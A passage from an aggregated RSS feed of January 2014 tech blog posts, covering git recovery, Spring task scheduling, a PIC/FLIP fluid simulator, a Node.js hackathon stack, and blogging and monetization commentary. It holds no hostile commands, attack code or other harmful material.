href="http://www.thenewsprint.co/blog/zac-szewczyks-tangible-goals"&gt;&lt;em&gt;Zac Szewczyk&amp;#8217;s Tangible Goals&lt;/em&gt;&lt;/a&gt;. However, we did much more than frivolously compliment each other.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/community.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Thu, 16 Jan 2014 09:49:09 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/community.html</guid></item><item><title>On undoing, fixing, or removing commits in git</title><link>https://nicolaiarocci.com/on-undoing-fixing-or-removing-commits-in-git/</link><description>&lt;blockquote&gt;
&lt;p&gt;This document is an attempt to be a fairly comprehensive guide to recovering from what you did not mean to do when using git.&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;via &lt;a href="http://sethrobertson.github.io/GitFixUm/fixup.html"&gt;On undoing, fixing, or removing commits in git&lt;/a&gt;.&lt;/p&gt;</description><author>Nicola Iarocci</author><pubDate>Thu, 16 Jan 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://nicolaiarocci.com/on-undoing-fixing-or-removing-commits-in-git/</guid></item><item><title>Scheduled tasks with Spring and Java configs</title><link>https://www.craigpardey.com/post/2014-01-16-scheduled-tasks-with-spring-and-java-configs/</link><description>&lt;p&gt;Spring 3.2 has some very nice features for scheduling tasks.&lt;/p&gt;
&lt;p&gt;The pure Java way of doing this looks something like&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;private ScheduledExecutorService executor =
Executors.newSingleThreadScheduledExecutor();  
class ScheduledTask implements Runnable {  
    @Override  
    public void run() {  
        System.out.println(&amp;quot;Running scheduled task&amp;quot;);  
    }  
}

// Schedule a task every 5 seconds  
executor.scheduleAtFixedRate(new ScheduledTask(), 1, 5, TimeUnit.SECONDS);  
// If you don't do this then the JVM won't exit cleanly  
executor.shutdown();  
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;But now, with the snazzy new Spring scheduling annotations, it can be as
simple as this&lt;/p&gt;</description><author>Craig Pardey</author><pubDate>Thu, 16 Jan 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://www.craigpardey.com/post/2014-01-16-scheduled-tasks-with-spring-and-java-configs/</guid></item><item><title>How Grigori Perelman solved one of Maths greatest mystery</title><link>https://phacks.dev/articles/how-grigori-perelman-solved-one-of-maths-greatest-mystery.mdx</link><description>And why he declined the Fields Medal and a $1,000,000 prize</description><author>Nicolas Goutay</author><pubDate>Thu, 16 Jan 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://phacks.dev/articles/how-grigori-perelman-solved-one-of-maths-greatest-mystery.mdx</guid></item><item><title>Porting MSG_MORE and MSG_NOSIGPIPE to OS X</title><link>https://makedist.com/posts/2014/01/16/porting-msg_more-and-msg_nosigpipe-to-os-x/</link><description>Porting is a forcing function for deeper understanding of APIs.</description><author>Noah Watkins</author><pubDate>Thu, 16 Jan 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://makedist.com/posts/2014/01/16/porting-msg_more-and-msg_nosigpipe-to-os-x/</guid></item><item><title>My Tools and Toys</title><link>https://zacs.site/blog/how-i-do-what-i-do.html</link><description>&lt;p&gt;I decided to start this article in response to &lt;a href="https://mobile.twitter.com/LinusEdwards/status/423245321142304768"&gt;a remark Linus Edwards made&lt;/a&gt; saying that although a tech blogger, he felt like a bad one given his lack of knowledge regarding the intricacies of RSS, which prevented him from keeping an accurate record of those subscribers. I faced a similar problem shortly after launching this site, but solved it soon afterwards. As they say though, every day someone comes into the world having never seen the Flintstones. Today I thought I would take some time to explain how I go about doing what I do here in the hopes that it will save someone time, energy, and frustration in the future, or just make their life a little bit easier through a new app or service they had previously never heard of. Before I can get into the nitty-gritty details of back-end sites and services though, I must provide a frame of reference by talking about the front-end devices and apps I use on a daily basis.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/how-i-do-what-i-do.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Wed, 15 Jan 2014 21:18:01 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/how-i-do-what-i-do.html</guid></item><item><title>Google's New Business Model</title><link>http://stratechery.com/2014/googles-new-business-model/</link><description>&lt;blockquote&gt;
&lt;p&gt;&amp;#8220;In my estimation, [the Nest] deal is not about getting more data to support Google&amp;#8217;s advertising model; rather, this is Google&amp;#8217;s first true attempt to diversify its business.&amp;#8221;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Ben Thompson once again, continuing his streak of great articles with this gem. I found his &amp;#8220;Some additional notes&amp;#8221; section particularly interesting, where he explained the implications of this move to the other major tech companies of today.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://stratechery.com/2014/googles-new-business-model/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Wed, 15 Jan 2014 18:22:35 GMT</pubDate><guid isPermaLink="true">http://stratechery.com/2014/googles-new-business-model/</guid></item><item><title>Uploading Files Directly To Amazon S3</title><link>http://blog.fineuploader.com/2014/01/15/uploads-without-any-server-code/</link><description>In this post, you'll learn how to upload files to an Amazon S3 bucket from the browser without involving a server. Fine Uploader will be used as the primary tool to facilitate this workflow.</description><author>Train of Thought</author><pubDate>Wed, 15 Jan 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">http://blog.fineuploader.com/2014/01/15/uploads-without-any-server-code/</guid></item><item><title>New PIC/FLIP Simulator</title><link>https://blog.yiningkarlli.com/2014/01/flip-simulator.html</link><description>&lt;p&gt;Over the past month or so, I’ve been writing a brand new fluid simulator from scratch. It started as a project for a course/seminar type thing I’ve been taking with &lt;a href="http://www.cs.cornell.edu/~djames/"&gt;Professor Doug James&lt;/a&gt;, but I’ve been working on since the course ended for fun. I wanted to try our implementing the &lt;a href="http://www.cs.ubc.ca/~rbridson/docs/zhu-siggraph05-sandfluid.pdf"&gt;PIC/FLIP method from Zhu and Bridson&lt;/a&gt;; in industry, PIC/FLIP has more or less become the de fact standard method for fluid simulation. Houdini and Naiad both use PIC/FLIP implementations as their core fluid solvers, and I’m aware that Double Negative’s in-house simulator is also a PIC/FLIP implementation.&lt;/p&gt;

&lt;p&gt;I’ve named my simulator “Ariel”, since I like Disney movies and the name seemed appropriate for a project related to water. Here’s what a “dambreak” type simulation looks like:&lt;/p&gt;

&lt;div class="embed-container"&gt;PIC/FLIP Simulator Dam Break Test- Ariel View&lt;/div&gt;

&lt;p&gt;That “dambreak” test was run with approximately a million particles, with a 128x64x64 grid for the projection step.&lt;/p&gt;

&lt;p&gt;PIC/FLIP stands for Particle-In-Cell/Fluid-Implicit Particles. PIC and FLIP are actually two separate methods that each have certain shortcomings, but when used together in a weighted sum, produces a very stable fluid solver (my own solver uses approximately a 90% FLIP to 10% PIC ratio). PIC/FLIP is similar to SPH in that it’s fundamentally a particle based method, but instead of attempting to use external forces to maintain fluid volume, PIC/FLIP splats particle velocities onto a grid, calculates a velocity field using a projection step, and then copies the new velocities back onto the particles for each step. This difference means PIC/FLIP doesn’t suffer from the volume conservation problems SPH has. In this sense, PIC/FLIP can almost be thought of as a hybridization of SPH and semi-Lagrangian level-set based methods. From this point forward, I’ll refer to the method as just FLIP for simplicity, even though it’s actually PIC/FLIP.&lt;/p&gt;

&lt;p&gt;I also wanted to experiment with &lt;a href="http://www.openvdb.org/"&gt;OpenVDB&lt;/a&gt;, so I built my FLIP solver on top of OpenVDB. OpenVDB is a sparse volumetric data structure library open sourced by Dreamworks Animation, and now integrated into a whole bunch of systems such as Houdini, Arnold, and Renderman. I played with it two years ago during my summer at Dreamworks, but didn’t really get too much experience with it, so I figured this would be a good opportunity to give it a more detailed look.&lt;/p&gt;

&lt;p&gt;My simulator uses OpenVDB’s mesh-to-levelset toolkit for constructing the initial fluid volume and solid obstacles, meaning any OBJ meshes can be used to building the starting state of the simulator. For the actual simulation grid, things get a little bit more complicated; I initially started with using OpenVDB for storing the grid for the projection step with the idea that storing the projection grid sparsely should allow for scaling the simulator to really really large scenes. However, I quickly ran into the ever present memory-speed tradeoff of computer science. I found that while the memory footprint of the simulator stayed very small for large sims, it ran almost ten times slower compared to when the grid is stored using raw floats. The reason is that since OpenVDB under the hood is a B+tree, constant read/write operations against a VDB grid end up being really expensive, especially if the grid is not very sparse. The fact that VDB enforces single-threaded writes due to the need to rebalance the B+tree does not help at all. As a result, I’ve left in a switch that allows my simulator to run in either raw float of VDB mode; VDB mode allows for much larger simulations, but raw float mode allows for faster, multithreaded sims.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2014/Jan/longgrid.0140.png"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2014/Jan/longgrid.0140.png" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2014/Jan/longgrid.0218.png"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2014/Jan/longgrid.0218.png" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2014/Jan/longgrid.0430.png"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2014/Jan/longgrid.0430.png" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Here’s a video of another test scene, this time patterned after a “waterfall” type scenario. This test was done earlier in the development process, so it doesn’t have the wireframe outlines of the solid boundaries:&lt;/p&gt;

&lt;div class="embed-container"&gt;PIC/FLIP Simulator Waterfall Test- Ariel View&lt;/div&gt;

&lt;p&gt;In the above videos and stills, blue indicates higher density/lower velocity, white indicate lower density/higher velocity.&lt;/p&gt;

&lt;p&gt;Writing the core PIC/FLIP solver actually turned out to be pretty straightforward, and I’m fairly certain that my implementation is correct since it closely matches the result I get out of Houdini’s FLIP solver for a similar scene with similar parameters (although not exactly, since there’s bound to be some differences in how I handle certain details, such as slightly jittering particle positions to prevent artifacting between steps). Figuring out a good meshing and rendering pipeline turned out to be more difficult; I’ll write about that in my next post.&lt;/p&gt;</description><author>Code &amp;amp; Visuals</author><pubDate>Wed, 15 Jan 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://blog.yiningkarlli.com/2014/01/flip-simulator.html</guid></item><item><title>Nexus 5 or Moto X? Review and Comparisons from a Past iPhone User</title><link>https://justingarrison.com/blog/2014-01-15-nexus-5-or-moto-x-review-and-comparisons-from-a-past-iphone-user/</link><description>TL;DR — I was using an iPhone 4s for two years, an iPhone 5c for a few months, I really liked how fast and small</description><author>Justin Garrison's Homepage</author><pubDate>Wed, 15 Jan 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://justingarrison.com/blog/2014-01-15-nexus-5-or-moto-x-review-and-comparisons-from-a-past-iphone-user/</guid></item><item><title>Nothing, what’s Infor-mata With You?</title><link>https://xavd.id/blog/post/nothing-whats-informata/</link><description>undefined&lt;br /&gt;&lt;br /&gt;&lt;a href="https://xavd.id/blog/post/nothing-whats-informata/"&gt;Read the whole thing&lt;/a&gt;.</description><author>The David Brownman Blog</author><pubDate>Wed, 15 Jan 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xavd.id/blog/post/nothing-whats-informata/</guid></item><item><title>Business Models For 2014</title><link>http://stratechery.com/2014/business-models-2014/</link><description>&lt;p&gt;A fascinating look at the current state of business models and their inevitable future from Ben Thompson over at Stretechery. An excellent article well worth the read going in to 2014. Especially in this coming year, I believe, this knowledge and a solid understanding of it will prove invaluable.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://stratechery.com/2014/business-models-2014/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Tue, 14 Jan 2014 11:18:49 GMT</pubDate><guid isPermaLink="true">http://stratechery.com/2014/business-models-2014/</guid></item><item><title>The Road to Geekdom</title><link>http://hypercritical.co/2014/01/14/the-road-to-geekdom</link><description>&lt;p&gt;When I started this website, I had a number of misgivings. For example, every writer I looked up to had already done this for years or, in some cases, even decades; what could I possibly contribute to such a mature community? I had missed the boat, failed to get in on the ground floor&amp;#160;&amp;#8212;&amp;#160;what hope could I have of rivaling the skill, insight, and popularity of folks like John Siracusa? I struggle similarly with my desire to build an app. But, as John points out in his article &lt;a href="https://twitter.com/siracusa/status/422749828448542721"&gt;ostensibly&lt;/a&gt; &lt;a href="https://twitter.com/siracusa/status/422756689449062400"&gt;about&lt;/a&gt; &lt;a href="https://twitter.com/siracusa/status/422756972136787968"&gt;his&lt;/a&gt; &lt;a href="https://twitter.com/siracusa/status/422767118988619776"&gt;journey&lt;/a&gt; to U2 &lt;a href="https://twitter.com/siracusa/status/422767155697156096"&gt;geekdom&lt;/a&gt;, time does not automatically impart upon anyone the necessary traits common to geeks; rather, they are born from a great deal of effort, and anyone that tells you otherwise, that there is some barrier to entry beyond that, is wrong.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://hypercritical.co/2014/01/14/the-road-to-geekdom"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Tue, 14 Jan 2014 10:46:54 GMT</pubDate><guid isPermaLink="true">http://hypercritical.co/2014/01/14/the-road-to-geekdom</guid></item><item><title>J&amp;amp;S Reclaimed Wood Furniture Video</title><link>https://june.kim/js-reclaimed-wood/</link><author>june.kim</author><pubDate>Tue, 14 Jan 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://june.kim/js-reclaimed-wood/</guid></item><item><title>First Node.js Hackathon</title><link>https://benovermyer.com/blog/2014/01/first-nodejs-hackathon/</link><description>&lt;p&gt;My employer is hosting an internal Node.js hackathon. I'm organizing it, but I'll also be participating since it's small enough that the logistics side is not going to take up all of my time. Everyone is charged with producing a Node app within 11 hours, and presenting to the group after that. For my project, here's what I've decided to go with. There are a few options out there for external commenting systems. You've probably heard of the big ones - Disqus and Livefyre. There are a handful of others, including Viafoura, Vicomi, and Instant Debate, but it's a space that doesn't see a lot of differentiation between the players. I propose, as my project, a commenting system that doesn't just facilitate discussion about a particular page, it uses meta information about that page to suggest similar discussions going on elsewhere on the site. Yeah, it's a little bit of a walled garden in that it focuses on only one particular site, but for commercial applications that seems ideal.&lt;/p&gt;
&lt;h1 id="things-that-i-ll-need-to-account-for"&gt;Things that I'll need to account for:&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;User authentication. I think I'll skip this entirely for the Hackathon, and just let users post anonymously.&lt;/li&gt;
&lt;li&gt;Retrieving meta information. I'll need to automatically populate a datastore with information on other pages. Since I only need to worry about pages that have discussion on them, this can happen when the first comment is submitted for a given URL.&lt;/li&gt;
&lt;li&gt;A rapid datastore. Commenting systems generate a lot of content very quickly, and speed is more important than integrity.&lt;/li&gt;
&lt;li&gt;A real-time widget. The front end for this needs to be real-time, but gracefully so. Websockets are necessary.&lt;/li&gt;
&lt;li&gt;Standard interactions. The widget needs to account for what are now standard interactions for commenting - replying to a previous comment, flagging a post as spam, upvoting, and downvoting.&lt;/li&gt;
&lt;li&gt;A moderation back end. An admin interface, initially accessible without authentication, needs to let admins review posts held for moderation… and approve or deny them in real time. It also needs to let admins know if a particular page is missing meta tags. Again, websockets are necessary. Planned Components&lt;/li&gt;
&lt;/ol&gt;
&lt;h1 id="datastore"&gt;Datastore&lt;/h1&gt;
&lt;p&gt;I decided to go with RethinkDB as my datastore of choice. It's very new and hence not production-ready, but its ease of use and blazing fast interaction suit this project well. The big problem to watch out for here is that Rethink loves eating up RAM with the current cache manager.&lt;/p&gt;
&lt;h1 id="frontend-framework"&gt;Frontend Framework&lt;/h1&gt;
&lt;p&gt;My focus lately has been on ReactJS by the Facebook team. It's documented better than AngularJS, which was my go-to framework before this. It also has a more granular way of handling data binding that speeds up everything when dealing with a lot of elements on one page.&lt;/p&gt;
&lt;h1 id="websockets"&gt;WebSockets&lt;/h1&gt;
&lt;p&gt;Definitely going to be using SockJS. Socket.io's on its way out.&lt;/p&gt;
&lt;h1 id="web-framework"&gt;Web Framework&lt;/h1&gt;
&lt;p&gt;Express.js. I would love to use the newer, promise-driven Koa.js, but it relies on an unstable version of Node.&lt;/p&gt;
&lt;h1 id="task-running"&gt;Task Running&lt;/h1&gt;
&lt;p&gt;Since the advent of Gulp, I have completely ceased to use Grunt. Gulp is just a better system, period. The only reason I've found to still use Grunt is if you need to use Yeoman to scaffold a project. So, with all that in mind, I'm using Gulp for this project.&lt;/p&gt;
&lt;h1 id="package-management"&gt;Package Management&lt;/h1&gt;
&lt;p&gt;I use Bower. It has its issues (security?), but I've never used anything else and have no real reason to find another option.&lt;/p&gt;
&lt;h1 id="stylesheet-preprocessor"&gt;Stylesheet Preprocessor&lt;/h1&gt;
&lt;p&gt;Sass. I've used both LESS and Sass, and Sass seems more reliable and predictable to me.&lt;/p&gt;
&lt;h1 id="unit-testing"&gt;Unit Testing&lt;/h1&gt;
&lt;p&gt;If I have time to do unit testing (yes, yes, I know), I'll be using Mocha. For assertions, I'll use Chai. To handle checking test coverage, I'll use CoverJS.&lt;/p&gt;
&lt;h1 id="other-components"&gt;Other Components&lt;/h1&gt;
&lt;p&gt;I'll be using RequireJS for sane modularization, Uglify for minification, and Twitter Bootstrap to style the whole thing quickly.&lt;/p&gt;</description><author>Ben Overmyer's Site</author><pubDate>Tue, 14 Jan 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://benovermyer.com/blog/2014/01/first-nodejs-hackathon/</guid></item><item><title>Tangible Goals</title><link>https://zacs.site/blog/cashing-in-a-blog.html</link><description>&lt;p&gt;Yesterday, &lt;a href="http://www.thenewsprint.co"&gt;Josh Ginter&lt;/a&gt; responded to my article &lt;a href="https://zacs.site/blog/doing-monetization-well.html"&gt;&lt;em&gt;Doing Monetization Well&lt;/em&gt;&lt;/a&gt; with a very thoughtful &lt;a href="http://www.thenewsprint.co/blog/cashing-in-the-blog"&gt;post of his own&lt;/a&gt;. To no great surprise on my part, he questioned the viability of sponsorships at my low threshold of just 2,000 visitors per month. I expected someone would, and I can not fault Josh for doing so: I picked such low numbers on purpose because I wanted to have tangible, achievable goals I felt some confidence in my ability to attain. Even if I only get ten or fifteen dollars a months, that will cover hosting and take this from a cost center to a profitable venture, while simultaneously setting me on the path to further monetization down the road as my readership continues to expand. In my eyes, that&amp;#8217;s a win.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/cashing-in-a-blog.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Mon, 13 Jan 2014 20:21:29 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/cashing-in-a-blog.html</guid></item><item><title>Your Verse, My Inspiration</title><link>https://zacs.site/blog/my-inspiration.html</link><description>&lt;p&gt;I will not pretend to have some groundbreaking insight born of years watching Apple and scrutinizing its marketing tactics, but perhaps this inability to immediately evaluate, classify, and dismiss &lt;a href="http://youtu.be/jiyIcz7wUH0"&gt;Your Verse&lt;/a&gt; works to my advantage in this case. In &lt;a href="http://512pixels.net/2014/01/apples-verse/"&gt;his article&lt;/a&gt; written shortly after the ad went live, Stephen Hackett conveyed his general disappointment in Apple at employing a tactic of engendering a powerful emotional response from its viewers once again, as it did &lt;a href="https://zacs.site/blog/misunderstood.html"&gt;last month&lt;/a&gt; with &lt;a href="http://youtu.be/nhwhnEe7CjE"&gt;Misunderstood&lt;/a&gt;. Others have made similar criticisms, some even going on to chastise Apple for making their latest ad &lt;a href="http://www.macstories.net/news/apple-airs-new-your-verse-ipad-air-commercial/"&gt;unrelatable&lt;/a&gt;.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/my-inspiration.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Mon, 13 Jan 2014 18:52:42 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/my-inspiration.html</guid></item><item><title>Craft Beer Market Video</title><link>https://june.kim/craft-beer-market/</link><author>june.kim</author><pubDate>Mon, 13 Jan 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://june.kim/craft-beer-market/</guid></item><item><title>NY FinTech Community is Thriving</title><link>https://www.danstroot.com/posts/2014-01-13-ny-fintech-community-is-thriving</link><description>&lt;img alt="post image" src="https://danstroot.imgix.net/assets/blog/img/new-ui.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;I was reading up on the "MEAN" stack: Mongo, Express, Angular and Node and came across a blog post from [Francesca Krihely](http://francescak.me/blog/2013/04/09/fintech-hackathon-recap/) about the FinTech hackathon in NY from back in April, 2013. This interested me because as a former "insider" in a large financial services company I can see clearly how open source code and tooling is replacing more proprietry code and tooling (for example .net/visual studio) but it requires an entirely different skill set for internal developers.&lt;br /&gt;&lt;br /&gt;This post &lt;a href="https://www.danstroot.com/posts/2014-01-13-ny-fintech-community-is-thriving"&gt;NY FinTech Community is Thriving&lt;/a&gt; first appeared on &lt;a href="https://www.danstroot.com"&gt;Dan Stroot's Blog&lt;/a&gt;</description><author>Dan Stroot</author><pubDate>Mon, 13 Jan 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://www.danstroot.com/posts/2014-01-13-ny-fintech-community-is-thriving</guid></item><item><title>The Neat and Out of Scope Newsletter, Issue &amp;amp;#35;1</title><link>http://eepurl.com/Mdln9</link><description>&lt;p&gt;Today marks the first installment of my brand new newsletter, awkwardly titled &amp;#8220;The Neat and Out of Scope Newsletter&amp;#8221;, in which I talk about an alternative to MailChimp, shaking a device to trigger Javascript actions, speedy scrolling, House of Cards&amp;#8217;s second season, the latest foray into podcast clients, and the just-launched clipboard utility Command-C. In case you missed it, you can subscribe &lt;a href="http://eepurl.com/MdDeX"&gt;here&lt;/a&gt; or by clicking the &amp;#8220;Newsletter&amp;#8221; menu item below. All in all, I am very happy with how it turned out. I do, however, recognize the significant room for improvement I still have within this medium. You can expect it to get better with every issue, because I have every intention of making this one great newsletter.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://eepurl.com/Mdln9"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Sun, 12 Jan 2014 12:37:09 GMT</pubDate><guid isPermaLink="true">http://eepurl.com/Mdln9</guid></item><item><title>Who, What, Where, When, and How?</title><link>https://zacs.site/blog/who-what-where-when-and-how.html</link><description>&lt;p&gt;Prompted by &lt;a href="https://twitter.com/typistx/status/422270033340166144"&gt;a question from Shibel&lt;/a&gt; early this morning wondering how I determine where to publish a given article, to my site or my new newsletter, I decide what content goes where and when to release it based on a relatively simple heuristic: when I write for my website I strive to do so in service of furthering the overarching narrative with regards to topics I currently have some degree of interest in. Pursuant of this goal, I write long form articles and link to others&amp;#8217; work who have varying viewpoints and provide commentary I feel my readers will value but may not otherwise see elsewhere. I started The Neat and Out of Scope Newsletter to have a place in which I could write without those restrictions, somewhere that I could publish my thoughts on any given topic not beholden to a desire to advance its associated conversation. This will manifest itself in new genres I have previously only covered on occasion or not at all.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/who-what-where-when-and-how.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Sun, 12 Jan 2014 12:13:52 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/who-what-where-when-and-how.html</guid></item><item><title>Conquering the Command Line</title><link>https://nicolaiarocci.com/conquering-the-command-line/</link><description>&lt;p&gt;This is a very good ebook, and is free for reading online.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;This book is for new developers, experienced developers, and everyone in between who wants to master Unix and Linux commands. This book was designed to showcase some of the most useful commands that a developer can know to help them in their daily tasks.&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;via &lt;a href="http://conqueringthecommandline.com/book/frontmatter#preface"&gt;Softcover | Conquering the Command Line&lt;/a&gt;.&lt;/p&gt;</description><author>Nicola Iarocci</author><pubDate>Sun, 12 Jan 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://nicolaiarocci.com/conquering-the-command-line/</guid></item><item><title>How To Be A Great Developer</title><link>https://nicolaiarocci.com/how-to-be-a-great-developer/</link><description>&lt;p&gt;… and a Great Person in general.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Empathy is your most important skill. Practice it with everyone you interact with, and everyone who interacts with your work.&lt;/p&gt;
&lt;p&gt;Humility goes hand in hand with empathy. Be open to the possibility (likelihood, even) that you are wrong. Know that you will always be learning and improving. accept and own up to mistakes immediately.&lt;/p&gt;
&lt;p&gt;The less you fear being wrong, the more confident you can be. You are wrong about many things. You know very little about most things. Everyone else is exactly the same way. Embrace it. Always learn, always question, always adapt and grow.&lt;/p&gt;</description><author>Nicola Iarocci</author><pubDate>Sun, 12 Jan 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://nicolaiarocci.com/how-to-be-a-great-developer/</guid></item><item><title>Where the best designers go to find photos and graphics</title><link>https://nicolaiarocci.com/where-the-best-designers-go-to-find-photos-and-graphics-blog/</link><description>&lt;p&gt;This is  seriously good collection of resources for web designers and the likes, don’t miss it.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;I’ll let you in on a little secret: beautiful websites aren’t made, they’re found. Smart designers know where to find that perfect photo, subtle pattern or that unique icon.&lt;/p&gt;
&lt;p&gt;Here’s where the best designers go to find photos, graphics, icons, and more.&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;via &lt;a href="http://www.sitebuilderreport.com/blog/where-the-best-designers-go-to-find-photos-and-graphics"&gt;Where the best designers go to find photos and graphics | Blog&lt;/a&gt;.&lt;/p&gt;</description><author>Nicola Iarocci</author><pubDate>Sun, 12 Jan 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://nicolaiarocci.com/where-the-best-designers-go-to-find-photos-and-graphics-blog/</guid></item><item><title>The Neat and Out of Scope Newsletter</title><link>http://eepurl.com/MdDeX</link><description>&lt;p&gt;Although still waiting for the dust to settle after Jim Dalrymple linked to my article &lt;a href="https://zacs.site/blog/doing-monetization-well.html"&gt;&lt;em&gt;Doing Monetization Well&lt;/em&gt;&lt;/a&gt;, I believe I will cross the twenty readers per day line once my traffic returns to normal. As promised, I started a newsletter tentatively titled &lt;a href="http://eepurl.com/MdDeX"&gt;&lt;em&gt;The Neat and Out of Scope Newsletter&lt;/em&gt;&lt;/a&gt;. Unfortunately, more than the title needs work; however, I have done the vast majority of the heavy lifting today, so from here on out I can focus on small design tweaks and pour most of my efforts into collecting cool code projects and interesting articles I deign not to craft extensive articles for, but still wish to write about in some capacity for future issues. The first installment will go out tomorrow evening at 6:00; I hope your name will be on the list.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://eepurl.com/MdDeX"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Sat, 11 Jan 2014 20:56:44 GMT</pubDate><guid isPermaLink="true">http://eepurl.com/MdDeX</guid></item><item><title>The Daily Zen &amp;amp;#35;8 "Winners, Losers, &amp;amp; High School"</title><link>http://vintagezen.com/zen/2014/1/10/dz8</link><description>&lt;blockquote&gt;
&lt;p&gt;&amp;#8220;Markets can sustain more than one company or product. There doesn&amp;#8217;t have to be an ultimate winner in everything, and most of the time the market is fragmented into various successful companies and products. You can have Android with a huge market share and still have iOS be successful and profitable; neither side has to kill the other to survive. Markets are endlessly complex things filled with shades of gray, and while it&amp;#8217;s nice to try and fit them into set boxes, it&amp;#8217;s fantasy, plain and simple.&amp;#8221;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;An excerpt from another installment of the Daily Zen, a series of articles Linus Edwards&amp;#160;&amp;#8212;&amp;#160;who distilled a lengthy Twitter conversation into a great article titled &lt;a href="http://vintagezen.com/zen/2014/1/8/the-hard-way"&gt;&lt;em&gt;The Hard Way&lt;/em&gt;&lt;/a&gt; just a few days ago&amp;#160;&amp;#8212;&amp;#160;endeavors to post daily. I found this observation especially interesting when applied to the world of writers who publish independently on their own websites, where many possess the incorrect notion that one individual&amp;#8217;s success must come at the expense of another&amp;#8217;s. In both cases, this is an equally incorrect belief.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://vintagezen.com/zen/2014/1/10/dz8"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Sat, 11 Jan 2014 14:08:43 GMT</pubDate><guid isPermaLink="true">http://vintagezen.com/zen/2014/1/10/dz8</guid></item><item><title>Mac OS X: My Setup Tips &amp;amp; App Recommendations</title><link>http://thetypist.com/338/mac-os-x-setup-tips-app-recommendations/</link><description>&lt;p&gt;On the topic of writers I have only just recently discovered, &lt;a href="http://twitter.com/typistX"&gt;The Typist&lt;/a&gt; wrote a great article about his conversion to a Mac: the motivations that preluded it and the software that facilitated his switch. I learned a few new tricks and found some cool new software here, so &lt;a href="https://zacs.site/blog/testing-the-apple-tax.html"&gt;while I may disagree&lt;/a&gt; with his statements that one could purchase a PC approximately 150% faster than a MacBook Pro for slightly less, I enjoyed his article and look forward to seeing more from him in the future.&lt;/p&gt;


